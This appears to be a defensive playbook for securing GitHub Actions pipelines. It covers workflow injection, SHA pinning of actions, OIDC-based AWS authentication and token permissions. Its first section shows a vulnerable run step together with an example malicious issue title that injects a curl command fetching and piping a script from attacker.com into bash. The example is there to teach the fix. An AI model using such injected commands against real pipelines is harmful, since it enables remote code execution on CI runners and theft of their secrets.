CI/CD & GitHub Actions Pipeline Security Playbook
Securing automated pipelines: Preventing workflow injection, pinning actions to immutable commit SHAs, OpenID Connect (OIDC) cloud authentication, and token permission scoping.
Securing automated pipelines: Preventing workflow injection, pinning actions to immutable commit SHAs, OpenID Connect (OIDC) cloud authentication, and token permission scoping.
1. Preventing GitHub Actions Workflow Injection
Directly interpolating untrusted user data (e.g., github.event.issue.title or github.event.pull_request.head.ref) into an inline bash run step enables remote code execution inside the runner:
# Vulnerable: Untrusted input concatenated directly into shell execution
- name: Process Issue Title
run: |
echo "Processing issue: ${{ github.event.issue.title }}"
# An attacker titles the issue: test"; curl http://attacker.com/rev.sh | bash; echo "
To secure this, pass untrusted data as an environment variable, preventing the shell from evaluating it as script syntax:
# Secure: Untrusted input mapped to environment variable
- name: Process Issue Title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
echo "Processing issue: $ISSUE_TITLE"2. Pinning Actions to Immutable Full Commit SHAs
Tags (like @v3 or @v4) are mutable and can be compromised by third-party maintainer account takeover. Pin actions to immutable full 40-character commit SHAs:
# Vulnerable: Mutable tag reference
- uses: actions/checkout@v4
# Secure: Immutable commit SHA with human-readable version comment
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.13. Eliminating Long-Lived Cloud Keys with OIDC
Never store long-lived AWS_ACCESS_KEY_ID in repository secrets. Use GitHub OIDC to assume temporary AWS IAM roles:
name: Deploy Production
on:
push:
branches: [main]
permissions:
id-token: write # Required for requesting the JWT
contents: read # Minimal repository read access
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Configure AWS Credentials via OIDC
uses: aws-actions/configure-aws-credentials@e3ddf1e3cb007943c750231e3b60768c6a0a19da # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy-role
aws-region: us-east-1